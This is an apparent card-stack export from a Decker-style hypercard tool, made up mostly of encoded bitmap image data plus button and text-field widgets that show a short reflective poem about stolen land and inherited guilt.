AAAESSUkpQlSRSElKFKSRUIkiqkSFUqmSUlUsrb9////////////////////////clSUpFJCACQkBAAAAAAAAAAAAAAAEwilJIiqkkJJJJSRSqSSJWSSSVUqSUpJar///////////////////////4vKSSolCAAAACAAAAAAAAAAAAEAFIRSAAEyEKSqJJJJLJEpJRKSVJCSkqUyqpVX///////////////1/Veqq1VKUVJIQABAAAAAIAAAAAAAAAAAAAAoQAAAAEQRCYklJKJKRJTUJKEpJCSKRIkiVKv////////qqqqVUpRISkQiRBIAAAAACAAAAAAAAAAAAAAAAAAAAAAAIAAAAAACSJIRJKkiJUoUiJIBITJSVIhH//////qtVKSRCIUikSABAAAACIIREAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAACAEkrJKElMiUpVEkqqq0pUlUq//////8kSUpKpJQSAABEAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQJIUkkSQpCWkpBJCkikkyf//////qJKUqIKqwEQCAAJCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEyggEAAABAESVCUiX//////9SpSkpZAAgBkBCQAAIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAACAAA///////zSlEimAABEACAAAAAAgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJEASAAAEIxP///////KUqgAIkkAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkBAAAH///////sqSSgYAABCJAIAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAACAEIQ///////7KkkoGAAAQiQCACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAgBCEP//////9JKkoUEQBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAEAAIAAD///////yqSUQAQSAIACAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAIkQAIAAgC////////pSoqIggBAAEAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAEgAABIUSCIP///////0pJSIAAiCBIBAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiAAAEEAACVMr///////ilVKUYkAAEAAAAQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAIAIIAAQ///////XKSKUAgEQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAQACACQQABAP//////5JSUQUBEBAAiQRIAIEQBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAgAAAAAJIAT//////8hSqqoEAEASAAgAEAAAEARCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgAgBJAIQAQg///////8qkSUoSARAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAgAIAA////////KSZKUQEgCAkgCAAgACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAI/0Q////////iVRUSlUAgJgBIEgBAgAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiAAIAECAAP8Tf///////7VKqVGKUggAAAAAIABAkQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAmAiAEBM//f////////9JJRUqUSSiISQSAgAgAAAiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACABAAAEAADv////////////qpiRCVJAUQAQBAJCAQAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAgAJEw/////////////0lFVJIlFRZEQSAwAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAABwkAABf////////////0qVSVhVCigkAAAgAAEJCEACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACET/ASBAH/////////////ySiSCACAEAISEgJIEAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAkADfiAIEw/////////////9VSqWAAIIEgQAAAAICABAEBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABACE//wAQDn/////////////0lSQBAAQACASARQIAEgAIIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAf/4kBH//////////////9VJJACIACCUQCTRIqqGQQAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMQkhH/94qn///////////////0pVWgAACBAoiABIhIUSpVVGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABB///hD////////////////UpJlVaAJKgAAAEikohJIiKKgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAf//6k////////////////9SpEkhBUIkEhIoiERREklIkCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQSAn///E/////////////////6kpSSikkSUCAAFKShkkSJQqCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8JAf//zf////////////////1UplSlEhSQSBCIJJFEiSRCEUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/wAF////////////////////9JUiikkliSpFEUpJKGSSSlEoSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACB//3AIf///////////////////7pJWVElSFJEkkwlIkUSSREmRRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB8f//gQH////////////////////6qppKUhJJKSSRSJSIiSSkkQghAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIP7//wAJ/////////////////9//9UlEkpVJkkSRIlIiUmJJEiZSiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADP////Ep//////////////////f//VJRJKVSZJEkSJSIlJiSRImUogAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz////xKf////////////////////UkpkqSFIkkkpMiUkkiSIkkIEipAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf78//6IP////////////////+5//6lRaiSUpkkkiIkQkkmRJSSZUiBFEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////+I3//////////////////7/dKqolJJQiSSSUySkkkSkiSREhFEMFSAAAAAAAAAAAAAAAAAAAABAAAAAAX/////Ivv////////////////599KpJSVJVKmSSSSRKUkkiCSJJkFEEQUBIAAAAAAAAAAAAAAAAAAAB/gAAAAf/////g/n//////////////////tVJUiiKpEKJKSSTKIkkmVCUkiUEUQwFAoBgAABIhAAAAAAAAAAAB9gAAAAPv////+f8//////////////////zKVSqRURKpZIpKSIUkkkIkISRAoQRCoFAABAoFACEAAAAAAAAAAAkAAAAAz//////v///////////////////9+VJUpkqkiglQkJMokkkkiIIACgSREAUEAAAAACgAAAAAAAAAAAA2AQAAAh//////////////////////////+vpNSqkkUlFqKkpIkkkkQlIoqlFQJEKgQAAAAAAAAAAAAAAAAAAAEPwAAAAL//////H7//////////////////zVNJJGSoUlEUEpIyUkkoSAQQAEAoEQCQAAAAAAAAAAAAAAAAAAADk/AAAAD7/////0f//////////////////1KUqpKVFQkmRUhJRIkkRZKpRVoVQoQkAAAAAAAAAAAAAAAAAAAABppwAAAD//////4X//////////////////+iUpJVCKFUkShSkjJSSShEAAgAoAQQEQAAAAAAAAAAAAAAAAAAAAP0AAAAAP//////pf/////////////////+TSSpIpJUgkiFCSSEiRJFkVVCgAqpRQQAAAAAAAAAAAAAAAAAAAAAHgAAABL//////rP//////////////////qxJJUkKiSkmBKSRMiSklCQAKBlQABAgAAAAAAAAAAAAAAAAAAAABHYwAAASD//////n3/////////////////oRCpJUkSSQACAACkSSEkJCpAKABSSEAAAAAAAAAAAAAAAAAAAAAAOB8AAAQv//////+f/////////////////+oARUkQpJAAAAAAAJJKSUCBAAAJASIAAAAAAAAAAAAAAAAAAAAAADg8AAMOBP//8/////////////////////+VAAikQRJAIAACAAgkkSSaSEAAAAgAAAAAAAAAAAAAAAAAAAAAAAAHIQAfn/2f///////////////////////+pAABEABJAgIIAAAAACSSWSEAAAACQAAAAAAAAAAAAAAAAAAAAAAACUcMH/f//////////////////////////VIAAAAQAAAAAAAAAAAIRIQIQAAAAAAAAAAAAAAAAAAAAAAAAACAADw/OB/n/b9///////////////////////5JAAAAAAAAAAAAAAAAApIgoQAAAAAAAAAAAAAAAAAAAAAAAAAH8YB///v/+8CP///////////////////////6kAAAAAAAAAAAAAAAAAAghAAAAAAAAAAAAAAAAAAAAAAAAQAAN//AN/////7n////////////////////////+kAAAAAAAAAAAAAAAAAAAiIAAAAAAAAAAAAAAAAAAAAAAAPAD////nH//////////////////////////////1QAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABz//////////////////////////////////////88APAfjwAAAAAAQAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAA+///z//////////////////////////////////////////////+//8MiAIcg/6gAAAAAAHxAAYAAAAAAAAAADP//+////////////////////////////////////////////+/////n//////////4eJ/P////x+QAAQADgAA3////////////////////////////////////////////////n///////////////////////////wP///////////////////////////////////////////////////////7///////////////////////////8H///////////////////////////////////////////////////////+////////////////5/1/9/VVUkRIoEv//////////////////////////////////////////////////////v///////////////+f9f/f1VVJESKBL//////////////////////////////////////////////////////7//////////////////v/////UqiUqlJgVIirVVVVT///////////////////////////////////////////+///////////////////////////6SqVnd//////////+q2v///9//////////////////////////////////v///////////////////////////Il//////////////3uf////v/////////////////////////////////7///////////////////////////+f////////////////////////////////////////////////////////////////////////////////////3////////////////////////////////////////////////////////////////////////////////////x///v/////////////////////////////////////////////////////////////////////////////////f////////////////////////////////////////////////////////////////////////////////////v////////////////////////////////////////////////////////////////////////////////////9////////////////////////////////////////////////////////////////////////////////////+v////////////////////////////////////////////////////////////////////////////////////X////////////////////////////////////////////////////////////////////////+///////////x/////////////////////////////////////////////////////////////////////////3//////////+P//+//////////////v//////3///////////////////////////////////////////////1/r////////+l///f////////////////////////////////////////////////////////////////////9f+/////////Qf////////////////////////////////////////////////////////////////////////v//////////9f////////////////////////////////////////////////////////////////////////////////////L////////////////////////////////////////////////////////////////////////////////////A///////////////////////////////////////////////////////////////////////////v////////+/////////////////////////////////////////////////////////////////////////1/n////////+T////////////////////////////////////////////////////////////////////////+/6/////////x/////////////////////////////////////////////////////////////////////////v/f////////9f////////////////////////////////////////////////////////////////////////////////////L////////////////////////////////////////////////////////////////////////////////////g////////////////////////////////////////////////////////////////////////////////////4P////////////////////////////////////////////////////////////////////////////////////F////////////////////////////////////////////////////////////////////////////////////9f////////////////////////////////////////////////////////////////////////////////////v////////////////////////////////////////////////////////////////////////////////////6////////////////////////////////////////////////////////////////////////////////////+v///////////////////////////////////////////////////////////////////////////////////+X////////////////////////////////////////////////////////////////////////////////////h////////////////////////////////////////////////////////////////////////////////////0//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////f/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////7v////////////////////////////////////////////////////////////////////////////////////C////////////////////////////////////////////////////////////////////////////////////6f///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////3////////////////////////////////////////////////////////////////////////////////////+S///v////////////////////////////////////////////////////////////////////////////////h////////////////////////////////////////////////////////////////////////////////////1////////////////////////////////////////////////////////////////////////////////////8Cv//////////////////////////////////////////////////////////////////////////f////////zf///////////////////////////////////////////////////////////////////////////////////9f////////////////////////////////////////////////////////////////////////////////////////f////////////////////////////////////////////////////////////////////////////////+///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////w==&#34;&#xA;{widgets}&#xA;btn_prev:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[16,313],&#34;script&#34;:&#34;card1.0&#34;,&#34;text&#34;:&#34;&lt; Prev.&#34;}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;home.0&#34;,&#34;text&#34;:&#34;Next &gt;&#34;}&#xA;field1:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[380,20],&#34;pos&#34;:[23,27],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;there is a part of me that wants it all to disappear,&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field2:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[397,45],&#34;pos&#34;:[72,59],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;for me and mine to wake up one day on the stolen, blood-soaked ground our buildings stood on with nothing to our names but the friends and families we built,&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field3:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[397,34],&#34;pos&#34;:[92,117],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;to suffer in some kind of twisted recompence for the suffering that precipitated my birth.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;&#xA;{card:card6}&#xA;image:&#34;%%IMG0AgABVgAIkkkrbbe+//////////////////////////////////////////////////////////////////////////8kykktqTNsy5mZtrZttmTTbf//////////////////////////////////////////////////////////////EjNtpJbabvru7tu3ttu/fbdtt3/f/////////////////////////////////////////////////////////0kkIlNyzts27u7bbbbbs673v/3t/ff///////////////////////////////////////////////////////8JCZpZGzOZ1zN3vdttvN7z3Pbv/7+/v/////////////////////////////////////////////////////+7JNlJjM207tnfXe3e++fbX2/fv7v3/////////////////////////////////////////////////////////yRGZmbkzzbu2e1vdtt9e/27e/3vf3/9/////////////////////////////////////////////////////f8TJJTTNmnbNu87u222226m9+73///9/////////////////////////////////7////////////////////f/SLM1mZu9bds79vvvttu2/52/v373//////////////////////////////////f/////////////////////9ySJZmzJlmbb7N/Outttvdn/+//33+/3//////////////////////////////////////////////////////8lLJmOdnO7bbezfvbttu2/bt/bv/+/////////////////////////////////////////////////////////GSaVMzbNrbbdvvPdttvbt/v3f/u+/////////////////////////////////////////////////////////0LSZtnLdm27du2/b97ddvTff/3///////////////////////////////////////////////////////////9aGWrM2Vubb27dzfpzt29v99vvv3v/f///////////////////////////////////////////////////////EaUZNmeZ9tnbd3+b/bu7233+/vf//////////////////////////////////////////////////////////2SllWc87Tbfd2/2/57s7v/fb7f/7/f///////////////////////////////////////////////////////8aWM0xk2dbZ23a3+b3t9s29/v/3f+/////////////////////////////////////////////////////////S0pjnO5623m7f7s+9329932+2/+//////////////////////////////////////////////////////////2SmNM6pm7be7u3v+73O593f7/77+/////////////////////////////////////////////////////////80sZUzN7Vm17e7fd+tu35/tvt/3///////////////////////////////////////////////////////////ExmbbdTNbbW9t991/3db6/u/239/f////////////////////////////////////////////////////////8zMykzbbttuzfbz73Pd275vbf/77/////////////////////////////////////////////////////////8zJmWzKzNbe3tfvvve7fbX/f9t7//3////////////////////////////////////////////////////////WWk1tuzZ3Zt2+++e3u8+/Z+3/399/+///////////////////////////////////////////////////////02bmkyXbrXt367797e776/2/bfd//////////////////////////////////////////////////////////8ysstrcyzmbbN/vv39/un6/9v9/+/f////////////////////////////////////////////////////////pmZts0zzW7bvc++/b1u/d6t+33v//////////////////////////////////////////////////////////21Zslzdn1u3vd7757v3d73/7/fvvv////////////////////////////////////////////////////////8Zmy3Ns2Xs3bffvvz+7d3vdvt9v/v/f///////////////////////////////////////////////////////0ubNMy50t23a9e+/27/929+f3/3//f///////////////////////////////////////////////////////2Zs02zpn5tue79773/2t377/ff37/////////////////////////////////////////////////////////85mzrO2+Nts69r3vvt39/vvu99v7//////////////////////////////////////////////////////////m2bsszZs7b27fve++3n6++e77///3////////////////////////////////////////////////////////2Zsl7Wln7bN292977fvb579/7/d/v////////////////////////////////////////////////////////9tm3JtvfLbdm3X73ve/933v239//f/////////////////////////////////////////////////////////mbNPTmZubbe2dvve+7b3fe//d++//////////////////////////////////////////////////////////7Ztudvbm7bZ3+9e97/7v997t/9///////////////////////////////////////////////////////////9nTOaybPbbbmm5273tz+z33v7v/f//////////////////////////////////////////////////////////Wdtc769m22++37vvf32/vfff/vf/v////////////////////////////////////////////////////////9prW1mzW22zttbue9d/9+9997/f3v////////////////////////////////////////////////////////9vNude3d223Nt7e9797t373737////////////////////////////////////////////////////////////adW15t22229tz1/u77v/fvf/3////////////////////////////////////////////////////////////7tdPTm27t9rbbnlO7v/b9++9/99//////////////////////////////////////////////////////////+m083fa2t1u7bvvfe+bft3+99/9///////////////////////////////////////////////////////////fO5zZtt73bbbdt+27/+//d9//f///////////////////////////////////////////////////////////9c5vu223O7d253Tb+227b9//f//+/////////////////////////////////////////////////////////+3l6a7bbez23b3fvm9+//v7ffv////////////////////////////////////////////////////////////bPZ7tt23fm7d222/t292+7/f/////////////////////////////////////////////////////////////9tt22233dvtu223zv/9377+//////////////////////////////////////////////////////////////+3bbbbunu3O+999nvbX/vv9/7/3///////////////////////////////////////////////////////////vbbttu/u7fbd11/3e/be+9///////////////////////////////////////////////////////////////9u22221t37fdvfZtu7397//v/v///////////////////////////////////////////////////////////9233bvfv3X23u9/77/nb33ffv/////////////////////////////////////////////////////////////3dm3u2uf/XvP327vm//v3/f/7////////////////////////////////////////////////////////////9933bbv8zvu/fPb+f7u/v7///////////////////////////////////////////////////////////////9z3n3dvP/u778+/39vu7f7/////////////////////////////////////////////////////////////////vvnd++t/7vu/7ef+///f/+//////////////////////////////////////////////////////////////687v3bv/3f+++399t7d++/e///////////////////////////////////////////////////////////////57vvfOdvdbb+/b3/397//f///////////////////////////////////////////////////////////////d//b+/9+///t9/vtv3/v/////////////////////////////////////////////////////////////////99t3m7f77bbf32/v/v+/v/////////////////////////////////////////////////////////////////7+3f/9vv//9vf7fvf7//v////////////////////////////////////////////////////////////////bt/9t3++27b/9////3/7///////////////////////////////////////////////////////////////////23/3b7/7/737ft3/93/////////////////////////////////////////////////////////////////+3f/bf/vtv7f37/f/37////////////////////////////////////////////////////////////////////dt/9u+/+7+/7/f+/3///////////////////////////////////////////////////////////////////2//23+77d7/+//f7//////f///////////////////////////////////////////////////////////////7bf/b/v9/93//f//9///////////////////////////////////////////////////////////////////7v/+9/vf3+9//v/9/3///////////////////////////////////////////////////////////////////7+2+9//ff9//7///////f////////////////////////////////////////////////////////////////79/9/+3f97/ff/9//////////////////////////////////////////////////////////////////////7/3v3v//v7+////////////////////////////////////////////////////////////////////////////vvv/vvv/9/3//////////////////////////////////////////////////////////////////////////vv/7/v/3f/39/3/f3//////////////////////////////////////////////////////////////////+/vv377/7//fv//////////////////////////////////////////////////////////////////////////f/33/7797///////////////////////////////////////////////////////////////////////////ff93//f//////////////////////////////////////////////////////////////////////////////f/737/f//f/7///////////////////////////////////////////////////////////////////////////3/79/+///f/////////////////////////////////////////////////////////////////////////v73/v9/9//9//////////////////////////////////////////////////////////////////////////////v9/f/39////////////////////////////////////////////////////////////////////////////9//v/f/////////////////////////////////////////////////////////////////////////////9/v///f/3//////////////////////////////////////////////////////////////////////////////v//3fv/////////////////////////////////////////////////////////////////////////////////v/fv//f//////////////////////////////////////////////////////////////////////////////v+/////////////////////////////////////////////////////////////////////////////////+/v//7+///f////////////////////////////////////////////////////////////////////////////v+3v+/v/////////////////////////////////////////////////////////////////////////////////v9////////////////////////////////////////////////////////////////////////////////////3///v////////////////////////////////////////////////////////////////////////////+/39//+//////////////////////////////////////////////////////////////////////////////+///9////////////////////////////////////////////////////////////////////////////////7/7/v93////////////////////////////////////////////////////////////////////////////////7////////3//////////////////////////////////////////////////////////////////////////////3v9/v////////////////////////////////////////////////////////////////////////////////fv9/f/f/////////////////////////////////////////////////////////////////////////////79/7//+////////////////////////////////////////////////////////////////////////////////9///+///////////////////////////////////////////////////////////////////////////////97+/9/////////////////////////////////////////////////////////////////////////////////7+/7/v////////////////////////////////////////////////////////////////////////////////9/v/v////////////////////////////////7//////////////////////////////////////////////vd/v/f/+/////////////////////////////7b7/////////////////////////////////////////////v9/f+/+9/+///////////////////////////3/3///////////////////////////////////////////////+/7/+//////////////////////////////vbfbf/////////////////////////////////////////////b7333////////////////////////////92+/8/9u7////////////////////////////////////////////vv333//f////////////////////////3377byb/72//////////////////////////////////////////9++///77///////////////////////773fvv2v7tv/93927+9////////////////////////////////////n7777/7//////////////////////u3739u826W3+23333/299////////////////////////////////////Pvvv27//////////////////////f///7/Z23abL//f3v+///773+///////////////////////////////tue++3//9/v/////////////////9/3t97td2lW5vMs9v/7+/e77/3+///////////////////////////////vd57//fd9//////////////////d3vv337SUtmTTdqze3vt997/7/3+/////////////////////////////v7e33t2/f//////////////////+9/fvffTbdkiUZlNvZ/e/3337f2/v+/////////////////////////////9m7bd37/v///////////////e97799vd9va0mSky2ZU3l97ffbb939/u+/////////////////////////////Wlm1/vvv3/////////////vf//vt3/f3u2wpJEmRrZmfb39977v3v3e/+////////////////////////////1uW3Zt+/37+////////+27v/vd++/N2vNSSpEkkVmZs57fb32zafu/d/d////////////////////////////tk7Nbtz7377/v3/////7/7/v/925pu26920iSSJkkSSzm2+293b5vZ/29/f///////////////////////////NmszNvnv////337//vf+/3e3b9tvvttzak0SJJGpmZNObu7pm23tdyv7+/f/////////////////////////35mSzda3f7//3//v92/+77e9/ftt7bNmXZkhQkEQJmU002u9vuzU7bbsnu+/f////////////////////////v9JNJTZt9vve/79/9//v/vs71udtjXdudm1JBkZTZBMyTWbbbbttzbdt+e9////////////////////////////TMUyLZr++/9/73b+9u27b1tu5tuWZpsmRJGBJEBNkkss3dtlMyt223Z593bv/////////////////////////zIZSyZut77v93vf77/7rZmZtvrJszLM7WpEJISTJJMyymbbWZrK2zbNv1/f////////////////////////9/8CYknSzb3v/v3e23vttuzm5tUbNkmbZJkpCEhSJJJsklMzNtrs2pttuabZ/d3//////////////////////9/7SQiQWbNve7e/5re6221WbLZZzNTMzFMiJKMJEkiZIsyVmaSmZzbs2ad7tm9///////////////////////7/7ySSJiQ229796zm07tttUzMRrmWVMmWZaMYQRIkaZRgkpMzJtZmlJtbd22/777/////////////////////3/78kkyKWzbb333vNTba20zmSTKMyZRMxJIkZRJJhIkTHMyomWky2zTM2VK3Znrv3////////////////////////CEiYkSm2vXOc5mszNpiMTMpZmklMjMYkSSSIFImSZMhJIQZKZlmZSbe2du3bf////////////////////v/v/yMIhEkuba3e5jKSTcmmwyUzTMmZIKYxJKSRIxJkKxEJlJkhsxlmZMypVs7td97/////////////////////fv8ApmMmw03u23sRlNRNJDClBKZmZKZhiRI0kiDJFMiZMjJEmCTJJJYzbXO7N7b37///////////////////2//3GCEIkFm2c22ZzGSTNVkMmNKzNkyZGSTCSySMJJMSZkZJJIaMTJmTJEbNs9u9vf7/////////////////9//v3wUIIEkUs520xCIJKJJCQkIyTNmyQyZSCRhJISJITEEkhIhgsyJGaM2avNzazb+/3////////////////9+/ff8hJI0kpkzmlnYikkiKJJJNjVsts2jIySEhEhJJJMGZITCDGQCSQCySaabPbvbO93u///////////////9//ff7CJEgEiltOusimJJGYZEkkWUzZkyMmSSEZJLESSQ2JJkCMARskRmCIkzbM222893+///////////////9/ff/bxISAsJJI0spqIRIIQxJJJZZpNNksyZWIRJIIRJJAISEkkTFgkwASSmSU3zZuz3/3/f////////////vv//fu/0QQlIJEprSbJkjIyggJJJClq2ZkyJiwSkJJpiQElliIEQJMDIAhBEIszTNts3NNvfdv////////v/++/f3/u7fBIhEJJJIlZZESCRCkxISSaTbLJlMmJkEyTDCJYJGGAkBIApAoiEERizNs2b299u9/+///////++2777/vvf/+0IkhJCMZmVzRkkREkRIySxpUuZk0YY2UhJLCQAokIECKESCSCAIQECCSzbbNrbb72b9////7tt537vvu++9228YRCCGYZIZCTEkxIhJIgiDGzaTJhZlpMJEyGRKIRJkQIIQkQIUghIQkzLam9ubbXvdt9///b//3nv7be7973/9AREZIRIZisyJJCQjCJJiUZKtmZmkMTmpJSSSSIRJBBgQghQgwCCAhBCcy7Zt7bde+399/9/7bNPMzZt/t//ttySSQhhExGIySJMRJCJEkkzMyWTJKZpOaZEkkgESJJGCRCJAiAkIJCEMxzzltm229q/b/93279ttt3b31f7bv/8IQiJCSRIUgkZIxIiSSQkibVtaZmpK05JKkkmUQIIiIAEICIIhAgEIYTG2bZu227e5vu//f7zTLbM2TN9v/vbbEhiISSJJkSkxJCSSSRJkkidmSxKbZLbMykJIEJRIiAky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